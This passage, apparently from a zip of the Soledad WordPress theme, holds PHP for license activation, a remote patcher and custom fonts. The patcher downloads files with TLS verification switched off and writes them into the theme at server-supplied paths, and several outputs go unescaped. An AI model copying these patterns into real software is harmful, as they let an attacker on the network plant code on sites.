						class="nav-tab"><?php esc_html_e( 'Customize Style', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_custom_fonts' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Custom Fonts', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ); ?>"
						class="nav-tab nav-tab-active"><?php esc_html_e( 'Theme License', 'soledad' ); ?></a>
					<a href="https://pencidesign.ticksy.com/" target="_blank"
						class="nav-tab"><?php esc_html_e( 'Support Forum', 'soledad' ); ?></a>
				</h2>
				<div class="penci-activate-wrap gt-tab-pane gt-is-active">
					<div class="penci-activate-envato-code">
						<div class="penci-activate-code-title"><?php esc_html_e( 'Theme License', 'soledad' ); ?></div>
						<?php
						$license_data = get_option( 'penci_soledad_purchased_data' );
						if ( ! empty( $license_data ) ) {
							?>
							<h3><?php esc_html_e( 'License Detail', 'soledad' ); ?></h3>
							<p class="penci-license-detail-desc" style="font-size: 15px;">
								<?php
								if ( isset( $license_data['buyer'] ) && $license_data['buyer'] ) {
									$buyer         = $license_data['buyer'];
									$buyer_len     = strlen( $buyer );
									$buyer_display = substr( $buyer, 0, 1 ) . str_repeat( '*', $buyer_len - 2 ) . substr( $buyer, $buyer_len - 1, 1 );
									?>
									<strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Buyer Username', 'soledad' ); ?></strong> : &nbsp;&nbsp;
									<strong><?php echo $buyer_display; ?></strong><br>
								<?php } ?>
								<?php if ( isset( $license_data['bount_time'] ) && $license_data['bount_time'] ) { ?>
									<strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Purchase Date', 'soledad' ); ?></strong> : &nbsp;&nbsp;
									<strong><?php echo $license_data['bount_time']; ?></strong><br>
								<?php } ?>
								<?php
								if ( isset( $license_data['purchase_code'] ) && $license_data['purchase_code'] ) {
									$purchased_code = $license_data['purchase_code'];
									$code_len       = strlen( $purchased_code );
									$code_display   = substr( $purchased_code, 0, 8 ) . str_repeat( '*', $code_len - 16 ) . substr( $purchased_code, $code_len - 8, 8 );
									?>
									<strong style="display: inline-block; margin-bottom: 8px; min-width: 140px;"><?php esc_html_e( 'Item Purchase Code', 'soledad' ); ?></strong> : &nbsp;&nbsp;
									<strong><?php echo $code_display; ?></strong><br>
								<?php } ?>
							</p>
							<h3><?php esc_html_e( 'Revoke License', 'soledad' ); ?></h3>
							<p class="penci-license-detail-desc" style="font-size: 15px;">
								<span style="color: #ff0000; font-weight: bold; font-size: 17px;"><?php _e( 'Note Important: ', 'soledad' ); ?></span><?php _e( 'If you want to use the license on another domain, please revoke the license for this website by clicking the button below:', 'soledad' ); ?>
								<br>
								<a href="
								<?php
								echo admin_url( 'admin.php?page=soledad_dashboard_welcome&penci_revoke_license=confirm&revoke_none=' );
								echo wp_create_nonce( 'revoke_license' );
								?>
								"
									style="padding: 10px 20px; display: inline-block; line-height: 1; margin-top: 15px; background: #fd6f64; color: #fff;"
									onclick="return confirm('Are you sure?');"><?php esc_html_e( 'Revoke License', 'soledad' ); ?></a>
							</p>
							<h3><?php esc_html_e( 'Are you new with Soledad?', 'soledad' ); ?></h3>
							<p class="penci-license-detail-desc" style="font-size: 15px;">
								
								<a href="<?php echo admin_url('?page=soledad_dashboard_welcome'); ?>" style="padding: 10px 20px;margin-right: 8px; display: inline-block; line-height: 1; background: #22b1b1; color: #fff;">
									<?php esc_html_e( 'Getting Started', 'soledad' ); ?>
								</a>
								<a target="_blank" href="https://soledad.pencidesign.net/soledad-document/" style="padding: 10px 20px;margin-right: 8px; display: inline-block; line-height: 1; background: #c20e00; color: #fff;">
									<?php esc_html_e( 'View Documentation', 'soledad' ); ?>
								</a>
								<a href="<?php echo admin_url('themes.php?page=tgmpa-install-plugins'); ?>" style="padding: 10px 20px; display: inline-block; line-height: 1;background: #001fc8; color: #fff;">
									<?php esc_html_e( 'Install Recommend Plugins', 'soledad' ); ?>
								</a>
							</p>
						<?php } ?>
					</div>
				</div>
			</div>
			<?php
		}

		public function new_update_page() {
			$new_version = penci_is_new_update( 'version' );
			?>
			<div class="wrap about-wrap penci-about-wrap penci-active-theme penci-dashboard-wapper">
				<?php include PENCI_SOLEDAD_DIR . '/inc/dashboard/sections/welcome.php'; ?>
				<h2 class="nav-tab-wrapper">
					<a href="<?php echo admin_url( 'admin.php?page=soledad_dashboard_welcome' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Getting started', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'customize.php' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Customize Style', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_custom_fonts' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Custom Fonts', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_theme_license' ); ?>"
						class="nav-tab"><?php esc_html_e( 'Theme License', 'soledad' ); ?></a>
					<a href="<?php echo admin_url( 'admin.php?page=soledad_new_update' ); ?>"
						class="nav-tab nav-tab-active"><?php esc_html_e( 'New Update', 'soledad' ); ?></a>
					<a href="https://pencidesign.ticksy.com/" target="_blank"
						class="nav-tab"><?php esc_html_e( 'Support Forum', 'soledad' ); ?></a>
				</h2>
				<div class="penci-activate-wrap gt-tab-pane gt-is-active">
					<div class="penci-activate-envato-code">
						<div class="penci-activate-code-title"><?php esc_html_e( 'Update Soledad Theme', 'soledad' ); ?></div>
						<p class="penci-license-detail-desc">
							<?php esc_html_e( 'A new version of Soledad theme just released - Soledad Theme version ', 'soledad' ); ?><?php echo $new_version; ?>
							<br>
							<?php esc_html_e( 'Please update the theme to get the latest version.', 'soledad' ); ?>
						</p>
						<p class="penci-license-detail-desc">
							<?php _e( 'To enable Automatic Theme Updates, please check <a style="text-decoration: underline; color: #0043ff;" href="https://pencidesign.ticksy.com/article/15633/" target="_blank">this guide</a>', 'soledad' ); ?>
						</p>
						<p class="penci-license-detail-desc">
							<?php _e( 'You can click <a style="text-decoration: underline; color: #0043ff;" href="https://themeforest.net/item/soledad-multiconcept-blogmagazine-wp-theme/12945398#item-description__update-changelog" target="_blank">here</a> to check what\'s new in the newest version also.', 'soledad' ); ?>
						</p>
					</div>
				</div>
			</div>
			<?php
		}

		public function do_check_envato_code() {
			$code    = isset( $_POST['code'] ) ? $_POST['code'] : '';
			$code    = trim( $code );
			$domain  = get_home_url( '/' );
			$item_id = 12945398;

			$req = wp_remote_post(
				'https://license.pencidesign.net/api/check',
				array(
					'headers'     => array(
						'Content-Type' => 'application/json',
					),
					'body'        => wp_json_encode(
						array(
							'code'    => $code,
							'domain'  => $domain,
							'item_id' => $item_id,
						)
					),
					'data_format' => 'body',
					'sslverify'   => false,
				)
			);

			$body = wp_remote_retrieve_body( $req );
			$res  = json_decode( $body );

			if ( ! empty( $res ) && $res->status === 'success' ) {
				$data                        = $res->data;
				$array_data                  = array();
				$array_data['purchase_code'] = $code;
				$time_now                    = strtotime( '+30 days' );
				if ( $time_now ) {
					$array_data['time_notice'] = $time_now;
				}
				if ( isset( $data->supported_until ) ) {
					$date                     = new DateTime( $data->supported_until );
					$support_to               = $date->format( 'Y-m-d H:i:s' );
					$array_data['support_to'] = $support_to; /* Cover to Unix timestamps use strtotime() */
				}

				if ( isset( $data->sold_at ) ) {
					$boughtdate               = new DateTime( $data->sold_at );
					$bount_time               = $boughtdate->format( 'Y-m-d H:i:s' );
					$array_data['bount_time'] = $bount_time; /* Cover to Unix timestamps use strtotime() */
				}

				if ( isset( $data->buyer ) ) {
					$array_data['buyer'] = $data->buyer;
				}

				if ( isset( $data->purchase_count ) ) {
					$array_data['purchase_count'] = $data->purchase_count;
				}

				if ( isset( $data->amount ) ) {
					$array_data['amount'] = $data->amount;
				}

				update_option( strrev( 'kcehc_etadilav_icnep' ), strtotime( '+30 days' ) );
				update_option( strrev( 'detavitca_si_dadelos_icnep' ), 1 );
				update_option( strrev( 'atad_desahcrup_dadelos_icnep' ), $array_data );
				update_option( strrev( 'mc_sdaol_icnep' ), 'load' );
				wp_send_json_success( array( 'success' => true ) );
			} else {
				wp_send_json_error(
					array(
						'success' => false,
						'message' => $res->message,
					)
				);
			}
		}

		public function theme_purchase_exists( $token, $page = '' ) {
			$list_themes = $this->get_list_theme_purchase( $token );

			if ( ! $list_themes ) {
				return false;
			}

			foreach ( $list_themes as $theme ) {

				if ( isset( $theme['id'] ) && '12945398' == $theme['id'] ) {
					return true;
				}
			}

			if ( 100 === count( $list_themes ) ) {

				if ( ! $page ) {
					$page = 2;
				} else {
					$page = $page + 1;
				}

				$page = ( ! $page ) ? 2 : $page + 1;

				return $this->theme_purchase_exists( $token, $page );
			}

			return false;
		}

		public function get_list_theme_purchase( $token, $page = '' ) {
			$themes = array();
			$url    = 'https://api.envato.com/v3/market/buyer/list-purchases?filter_by=wordpress-themes' . ( $page ? '&page=' . $page : '' );

			$response_themes = wp_remote_get(
				$url,
				array(
					'headers'      => array(
						'Authorization' => 'Bearer ' . $token,
						'User-Agent'    => 'Purchase code verification script',
					),
					'timeout'      => 20,
					'headers_data' => false,
					'sslverify'    => false,
				)
			);
			$response_themes = json_decode( wp_remote_retrieve_body( $response_themes ), true );

			if ( ! is_wp_error( $response_themes ) && isset( $response_themes['results'] ) ) {
				foreach ( (array) $response_themes['results'] as $theme ) {
					$themes[] = array(
						'id'         => isset( $theme['item']['id'] ) ? $theme['item']['id'] : '',
						'name'       => isset( $theme['item']['wordpress_theme_metadata']['theme_name'] ) ? $theme['item']['wordpress_theme_metadata']['theme_name'] : '',
						'author'     => isset( $theme['item']['wordpress_theme_metadata']['author_name'] ) ? $theme['item']['wordpress_theme_metadata']['author_name'] : '',
						'url'        => isset( $theme['item']['url'] ) ? $theme['item']['url'] : '',
						'author_url' => isset( $theme['item']['author_url'] ) ? $theme['item']['author_url'] : '',
					);
				}
			}

			return $themes;
		}
	}
}

new Penci_Require_Active();
PK     N\<fEJ  EJ    inc/dashboard/inc/patcher.phpnu [        <?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

if ( ! class_exists( 'Penci_Patcher' ) ) {
	/**
	 * The main patcher class.
	 */
	class Penci_Patcher {
		/**
		 * Instance of this static object.
		 *
		 * @var array
		 */
		protected static $instance = null;

		/**
		 * Return an instance of this class.
		 * @return    object    A single instance of this class.
		 * @since     1.0.0
		 */
		public static function get_instance() {
			// If the single instance hasn't been set, set it now.
			if ( null == self::$instance ) {
				self::$instance = new self;
			}

			return self::$instance;
		}

		/**
		 * The uri of the remote server.
		 *
		 * @var string
		 */
		public $remote_server = 'https://soledad-plugins.s3.us-east-1.amazonaws.com/patchers/';

		/**
		 * Version site.
		 *
		 * @var string
		 */
		public $theme_version;

		/**
		 * Process notices.
		 *
		 * @var array
		 */
		public $notices = array();

		/**
		 * Transient name.
		 *
		 * @var string
		 */
		public $transient_name = '';

		/**
		 * Patch ID.
		 *
		 * @var $patcher_id
		 */
		public $patch_id;

		/**
		 * Flag successfully write files.
		 *
		 * @var $successful_write_files
		 */
		private $successful_write_files = true;

		protected function __construct() {

			if ( get_theme_mod( 'penci_disable_patch_update' ) ) {
				return;
			}

			$this->init();
		}

		/**
		 * Register hooks.
		 */
		public function init() {
			$this->theme_version  = PENCI_SOLEDAD_VERSION;
			$this->transient_name = 'penci_patches_map_' . $this->theme_version;
			add_action( 'admin_menu', array( $this, 'add_menu' ), 999 );
			add_action( 'wp_ajax_penci_patch_action', array( $this, 'patch_process' ) );
		}

		public function add_menu() {

			$patches_count = $this->get_count_patches_map();

			add_submenu_page(
				'soledad_dashboard_welcome',
				__( 'Patcher', 'soledad' ),
				__( 'Patcher' . $patches_count, 'soledad' ),
				'manage_options',
				'penci_patcher',
				array(
					$this,
					'render',
				),
				3
			);
		}

		/**
		 * Patch File.
		 *
		 * @param string $patch_id Patch id.
		 */
		public function patch_init( $patch_id ) {
			$this->patch_id = $patch_id;

			$this->apply();
		}

		/**
		 * Patch process.
		 */
		public function patch_process() {
			check_ajax_referer( 'patcher_nonce', 'security' );

			if ( empty( $_GET['id'] ) ) {
				wp_send_json(
					array(
						'message' => esc_html__( 'Empty path ID, please, try again.', 'soledad' ),
						'status'  => 'error',
					)
				);
			}

			$patch_id          = sanitize_text_field( $_GET['id'] ); //phpcs:ignore
			$patches_installed = get_option( 'penci_successfully_installed_patches' );

			if ( isset( $patches_installed[ PENCI_SOLEDAD_VERSION ][ $patch_id ] ) ) {
				wp_send_json(
					array(
						'message' => esc_html__( 'The patch is already applied.', 'soledad' ),
						'status'  => 'success',
					)
				);
			}

			$this->patch_init( $patch_id );
		}

		/**
		 * Get count patches map.
		 *
		 * @return string
		 */
		public function get_count_patches_map() {
			global $pagenow;

			$patches_maps = get_transient( $this->transient_name );

			if ( 'admin.php' === $pagenow && isset( $_GET['page'] ) ) { //phpcs:ignore.
				if ( in_array( $_GET['page'], array(
					'penci_dashboard',
					'penci_theme_settings'
				), true ) ) { //phpcs:ignore.
					$patches_maps = $this->get_patches_maps();
				} else if ( 'penci_patcher' === $_GET['page'] ) { //phpcs:ignore.
					$patches_maps = $this->get_patches_maps_from_server();
				}
			}

			if ( ! $patches_maps || ! is_array( $patches_maps ) ) {
				return '';
			}

			$patches_installed = get_option( 'penci_successfully_installed_patches', array() );

			if ( isset( $patches_installed[ $this->theme_version ] ) ) {
				$patches_maps = array_diff_key( $patches_maps, $patches_installed[ $this->theme_version ] );
			}

			$count = count( $patches_maps );

			if ( 0 === $count ) {
				return '';
			}

			ob_start();
			?>
            <span class="penci-patcher-counter update-plugins count-<?php echo esc_attr( $count ); ?>">
				<span class="patcher-count">
					<?php echo esc_html( $count ); ?>
				</span>
			</span>
			<?php

			return ob_get_clean();
		}

		/**
		 * Interface in admin panel.
		 */
		public function render() {

			if ( isset( $_GET['pcpatchcheck'] ) && $_GET['pcpatchcheck'] == 'now' ) {
				delete_transient( $this->transient_name );
			}

			wp_enqueue_script( 'penci-patcher-scripts', PENCI_SOLEDAD_URL . '/inc/dashboard/js/patcher.js', array(), PENCI_SOLEDAD_VERSION, true );
			wp_localize_script( 'penci-patcher-scripts', 'penci_patch_notice', $this->add_localized_settings() );

			$patches               = $this->get_patches_maps();
			$patch_installed       = get_option( 'penci_successfully_installed_patches' );
			$all_patches_installed = empty( array_diff( array_keys( $patches ), isset( $patch_installed[ $this->theme_version ] ) ? array_keys( $patch_installed[ $this->theme_version ] ) : array() ) );
			$classes               = $patches ? 'has-patches' : 'no-patches';
			?>
            <div class="wrap">
                <h1><?php esc_html_e( 'Patcher', 'soledad' ); ?></h1>
                <div class="penci-box">
                    <div class="penci-box-content <?php echo $classes; ?>">
						<?php if ( $patches ) : ?>
                            <div class="penci-notices-wrapper penci-patches-notice"><?php $this->print_notices(); // Must be in one line. ?></div>

                            <div class="penci-table penci-even penci-patches-wrapper">

                                <div class="penci-table-row-heading penci-patch-item penci-patch-title-wrapper">
                                    <div class="penci-patch-id">
										<?php esc_html_e( 'Patch ID', 'soledad' ); ?>
                                    </div>
                                    <div class="penci-patch-description">
										<?php esc_html_e( 'Description', 'soledad' ); ?>
                                    </div>
                                    <div class="penci-patch-date">
										<?php esc_html_e( 'Date', 'soledad' ); ?>
                                    </div>
                                    <div class="penci-patch-button-wrapper"></div>
                                </div>

								<?php foreach ( $patches as $patch => $patcher ) :
									$patch_id = $patcher['version'];
									?>
									<?php $classes = isset( $patch_installed[ $this->theme_version ][ $patch_id ] ) ? ' penci-applied' : ''; ?>
                                    <div class="penci-table-row penci-patch-item<?php echo esc_attr( $classes ); ?>">
                                        <div class="penci-patch-id">
                                            <span><?php echo esc_html( $patch_id ); ?></span>
                                        </div>
                                        <div class="penci-patch-description">
											<?php echo $patcher['description']; ?>
                                        </div>
                                        <div class="penci-patch-date">
											<?php echo esc_html( $patcher['releaseDate'] ); ?>
                                        </div>
                                        <div class="penci-patch-button-wrapper">
											<?php if ( ! $this->check_filesystem_api() ) : ?>
                                                <a href="<?php echo esc_url( $patcher['patch_link'] ); ?>"
                                                   class="penci-btn penci-color-primary">
													<?php esc_html_e( 'Download', 'soledad' ); ?>
                                                </a>
											<?php else : ?>
                                                <a href="#"
                                                   class="penci-btn penci-color-primary penci-patch-apply penci-i-check"
                                                   data-patches-map='<?php echo wp_json_encode( $patcher['files'] ); ?>'
                                                   data-id="<?php echo esc_html( $patch_id ); ?>">
													<?php esc_html_e( 'Apply', 'soledad' ); ?>
                                                </a>
                                                <span class="penci-patch-label-applied penci-i-check">
											<?php esc_html_e( 'Applied', 'soledad' ); ?>
										</span>
											<?php endif; ?>
                                        </div>
                                    </div>
								<?php endforeach; ?>
                            </div>
						<?php else :
							$url_check = esc_url( 'admin.php?page=penci_patcher&pcpatchcheck=now' );
							?>
                            <div class="penci-empty-patches">
                                <div class="pencti-notice-icon">
                                    <svg fill="#000000" width="800px" height="800px" viewBox="0 0 24 24"
                                         xmlns="http://www.w3.org/2000/svg">
                                        <path fill-rule="evenodd"
                                              d="M12,2 C17.5228475,2 22,6.4771525 22,12 C22,17.5228475 17.5228475,22 12,22 C6.4771525,22 2,17.5228475 2,12 C2,6.4771525 6.4771525,2 12,2 Z M12,4 C7.581722,4 4,7.581722 4,12 C4,16.418278 7.581722,20 12,20 C16.418278,20 20,16.418278 20,12 C20,7.581722 16.418278,4 12,4 Z M15.2928932,8.29289322 L10,13.5857864 L8.70710678,12.2928932 C8.31658249,11.9023689 7.68341751,11.9023689 7.29289322,12.2928932 C6.90236893,12.6834175 6.90236893,13.3165825 7.29289322,13.7071068 L9.29289322,15.7071068 C9.68341751,16.0976311 10.3165825,16.0976311 10.7071068,15.7071068 L16.7071068,9.70710678 C17.0976311,9.31658249 17.0976311,8.68341751 16.7071068,8.29289322 C16.3165825,7.90236893 15.6834175,7.90236893 15.2928932,8.29289322 Z"/>
                                    </svg>
                                </div>
                                <p>
									<?php esc_html_e( 'There are no patches found for your theme version.', 'soledad' ); ?>
                                </p>
                                <div class="penci-check-patch">
                                    <a href="<?php echo $url_check; ?>"><?php _e( 'Check now', 'soledad' ); ?></a>
                                </div>
                            </div>
						<?php endif; ?>
                    </div>
					<?php if ( $patches && $this->check_filesystem_api() ) : ?>
                        <div class="penci-box-footer">
                            <div class="penci-box-helper">
								<?php _e( 'We added patcher functionality instead of frequent updates to address bugs more efficiently. Minor bugs affecting only a few sites can be patched without requiring all customers to update. Significant bugs impacting many sites will still prompt an update, with patches disappearing in the next release.', 'soledad' ); ?>
                            </div>
                            <div class="penci-patch-button-wrapper <?php echo $all_patches_installed ? 'penci-applied' : ''; ?>">
                                <a href="#" class="penci-btn penci-color-primary penci-patch-apply-all penci-i-check">
									<?php esc_html_e( 'Apply all', 'soledad' ); ?>
                                </a>
                                <span class="penci-patch-label-applied penci-i-check">
								<?php esc_html_e( 'All applied', 'soledad' ); ?>
							</span>
                            </div>
                        </div>
					<?php endif; ?>
                </div>
            </div>
			<?php
		}

		/**
		 * Print notices.
		 */
		public function print_notices() {
			if ( ! $this->check_filesystem_api() ) {
				$this->notices['warning'] = esc_html__( 'Direct access to theme file is not allowed on your server. You need to download and replace the files manually.', 'soledad' );
			}

			if ( ! $this->notices ) {
				return;
			}

			foreach ( $this->notices as $type => $notice ) {
				$this->print_notice( $notice, $type );
			}
		}

		/**
		 * Print notice.
		 *
		 * @param string $message Message.
		 * @param string $type Type.
		 */
		private function print_notice( $message, $type = 'warning' ) {
			?>
            <div class="penci-notice penci-<?php echo esc_attr( $type ); ?>">
				<?php echo wp_kses( $message, array(
					'h1'     => array(),
					'h2'     => array(),
					'h3'     => array(),
					'h4'     => array(),
					'h5'     => array(),
					'h6'     => array(),
					'pre'    => array(),
					'p'      => array(),
					'br'     => array(),
					'i'      => array(),
					'b'      => array(),
					'u'      => array(),
					'em'     => array(),
					'del'    => array(),
					'a'      => array(
						'href'   => true,
						'class'  => true,
						'target' => true,
						'title'  => true,
						'rel'    => true,
					),
					'strong' => array(),
					'span'   => array(
						'style' => true,
						'class' => true,
					),
					'ol'     => array(),
					'ul'     => array(),
					'li'     => array(),
				) ); ?>
            </div>
			<?php
		}

		/**
		 * Get patches maps.
		 *
		 * @return array
		 */
		public function get_patches_maps() {

			$patches_maps = get_transient( $this->transient_name );

			if ( ! $patches_maps ) {
				$patches_maps = $this->get_patches_maps_from_server();
			}

			if ( ! is_array( $patches_maps ) ) {
				return array();
			}

			return $patches_maps;
		}

		/**
		 * Queries the patches server for a list of patches.
		 *
		 * @return array
		 */
		public function get_patches_maps_from_server() {

			$version    = $this->theme_version;
			$url        = $this->remote_server;
			$subversion = 1;

			$updates = [];
			while ( true ) {
				$update_url = $url . $version . '.' . $subversion . '/update.json';

				$response = wp_remote_get( $update_url, [ 'sslverify' => false ] );

				if ( is_wp_error( $response ) || ! isset( $response['body'] ) ) {
					$this->notices['error'] = $response->get_error_message();
					$this->update_set_transient( 'error' );
					break;
				}
				$update_content = json_decode( $response['body'], true );

				if ( isset( $update_content['changes'] ) && is_array( $update_content['changes'] ) ) {
					$update_content['files'] = array_column( $update_content['changes'], 'file' );
					$update_content['path']  = array_column( $update_content['changes'], 'path' );
				}

				$update_content['patch_link'] = $url . $version . '.' . $subversion . '/ ' . $version . '.' . $subversion . '.zip';

				if ( json_last_error() !== JSON_ERROR_NONE ) {
					break;
				}

				$updates[ $version . '.' . $subversion ] = $update_content;
				$subversion                              += 1;
			}

			$updates = array_reverse( $updates );

			$this->update_set_transient( $updates );

			return $updates;
		}

		/**
		 * Sets/updates the value of a transient.
		 *
		 * @param string|array $data Value.
		 *
		 * @return void
		 */
		public function update_set_transient( $data ) {
			set_transient( $this->transient_name, $data, DAY_IN_SECONDS );
		}


		/**
		 * Check filesystem API.
		 *
		 * @return bool
		 */
		public function check_filesystem_api() {
			global $wp_filesystem;

			if ( function_exists( 'WP_Filesystem' ) ) {
				WP_Filesystem();
			}

			return 'direct' === $wp_filesystem->method;
		}

		/**
		 * Add localized settings.
		 *
		 * @return array
		 */
		public function add_localized_settings() {
			return array(
				'single_patch_confirm' => esc_html__( 'These files will be updated:', 'soledad' ),
				'all_patches_confirm'  => esc_html__( 'Are you sure you want to download all patches?', 'soledad' ),
				'all_patches_applied'  => esc_html__( 'All patches are applied.', 'soledad' ),
				'ajax_error'           => esc_html__( 'Something wrong with removing data. Please, try to remove data manually or contact our support center for further assistance.', 'soledad' ),
			);
		}

		/**
		 * Apply patch.
		 */
		public function apply() {
			$patches_map = $this->get_patches_maps();

			if ( ! isset( $patches_map[ $this->patch_id ] ) ) {
				wp_send_json(
					array(
						'message' => esc_html__( 'Patch with this ID does\'t exist.', 'soledad' ),
						'status'  => 'error',
					)
				);
			}

			$patch = $patches_map[ $this->patch_id ];

			$patch_server_file = $patch['path'];

			foreach ( $patch['files'] as $key => $file_dir ) {
				$content = $this->get_patch_file_from_server( $patch_server_file[ $key ] );

				if ( ! $content ) {
					$this->successful_write_files = false;
					continue;
				}

				$this->write_file( $file_dir, $content );
			}

			if ( $this->successful_write_files ) {
				$patch_success = get_option( 'penci_successfully_installed_patches' );

				$patch_success[ PENCI_SOLEDAD_VERSION ][ $this->patch_id ] = true;

				update_option( 'penci_successfully_installed_patches', $patch_success, false );

				wp_send_json(
					array(
						'message' => esc_html__( 'Patch has been successfully applied.', 'soledad' ),
						'status'  => 'success',
					)
				);
			}

			wp_send_json(
				array(
					'message' => esc_html__( 'Something went wrong during patch installation. Patch can\'t be applied. Please, try again later.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		/**
		 * Write file.
		 *
		 * @param string $file_dir File directory.
		 * @param string $content File content.
		 */
		public function write_file( $file_dir, $content ) {
			global $wp_filesystem;

			if ( function_exists( 'WP_Filesystem' ) ) {
				WP_Filesystem();
			}

			$target = get_template_directory() . wp_normalize_path( '/' . $file_dir );

			$status_write_file = $wp_filesystem->put_contents( $target, $content );

			if ( ! $status_write_file ) {
				$this->successful_write_files = false;
			}
		}

		/**
		 * Queries the patches server for a list of patches.
		 *
		 * @param int $key Key file.
		 *
		 * @return string
		 */
		private function get_patch_file_from_server( $key ) {

			$url     = $this->remote_server;
			$path_id = $this->patch_id;

			$file_query_url = $url . $path_id . '/' . $key;

			$response = wp_remote_get( $file_query_url, [ 'sslverify' => false ] );

			if ( is_wp_error( $response ) ) {
				wp_send_json(
					array(
						'message' => $response->get_error_message(),
						'status'  => 'error',
					)
				);
			}

			if ( ! isset( $response['body'] ) ) {
				wp_send_json(
					array(
						'message' => $response['response']['code'] . ': ' . $response['response']['message'],
						'status'  => 'error',
					)
				);
			}

			$response = wp_remote_retrieve_body( $response );

			if ( isset( $response_body['code'] ) && isset( $response_body['message'] ) ) {
				wp_send_json(
					array(
						'message' => $response_body['message'],
						'status'  => 'error',
					)
				);
			}

			if ( isset( $response_body['type'] ) && isset( $response_body['message'] ) ) {
				wp_send_json(
					array(
						'message' => $response_body['message'],
						'status'  => $response_body['type'],
					)
				);
			}

			return $response;
		}
	}

	Penci_Patcher::get_instance();
}PK     N\g$9  9  "  inc/dashboard/inc/custom_fonts.phpnu [        <?php
if ( ! function_exists( 'penci_soledad_add_custom_fonts' ) ) {
	function penci_soledad_add_custom_fonts() {

		echo get_option( 'penci_cfonts_rules' );
	}
}

if ( ! function_exists( 'penci_soledad_list_self_fonts' ) ) {
	function penci_soledad_list_self_fonts() {
		if ( ! get_theme_mod( 'penci_disable_default_fonts' ) || get_theme_mod( 'penci_disable_all_fonts' ) ) {
			return;
		}

		$array_fonts = [];

		if ( ! get_theme_mod( 'penci_font_for_title' ) ) {
			$array_fonts[] = array_merge( $array_fonts, array( '"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif' ) );
		} else {
			$array_fonts[] = get_theme_mod( 'penci_font_for_title' );
		}
		if ( get_theme_mod( 'penci_font_for_body' ) ) {
			$array_fonts[] = get_theme_mod( 'penci_font_for_body' );
		} else {
			$array_fonts[] = array_merge( $array_fonts, array( '"PT Serif", "regular:italic:700:700italic", serif' ) );
		}
		if ( get_theme_mod( 'penci_font_for_slogan' ) ) {
			$array_fonts[] = get_theme_mod( 'penci_font_for_slogan' );
		}
		if ( get_theme_mod( 'penci_font_for_menu' ) ) {
			$array_fonts[] = get_theme_mod( 'penci_font_for_menu' );
		}

		$font_url = PENCI_SOLEDAD_URL . '/fonts';
		ob_start();
		?>
		<?php if ( !empty($array_fonts) && in_array( '"Raleway", "100:200:300:regular:500:600:700:800:900:100italic:200italic:300italic:italic:500italic:600italic:700italic:800italic:900italic", sans-serif', $array_fonts ) ): ?>
            @font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 300;src: local('Raleway Light Italic'), local(Raleway-LightItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw5qN_DNCb_Vo.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 300;src: local('Raleway Light Italic'), local(Raleway-LightItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw5qN_AtCb.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 400;src: local('Raleway Italic'), local(Raleway-Italic), url(<?php echo $font_url; ?>/raleway/1Ptsg8zYS_SKggPNyCg4Q4FqPfE.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 400;src: local('Raleway Italic'), local(Raleway-Italic), url(<?php echo $font_url; ?>/raleway/1Ptsg8zYS_SKggPNyCg4TYFq.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 500;src: local('Raleway Medium Italic'), local(Raleway-MediumItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgwvqJ_DNCb_Vo.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 500;src: local('Raleway Medium Italic'), local(Raleway-MediumItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgwvqJ_AtCb.woff2) format("woff2");unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD }@font-face {font-display: swap;font-family: 'Raleway';font-style: italic;font-weight: 700;src: local('Raleway Bold Italic'), local(Raleway-BoldItalic), url(<?php echo $font_url; ?>/raleway/1Ptpg8zYS_SKggPNyCgw9qR_DNCb_Vo.woff2) format("woff2");unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF }@font-face {font-display: 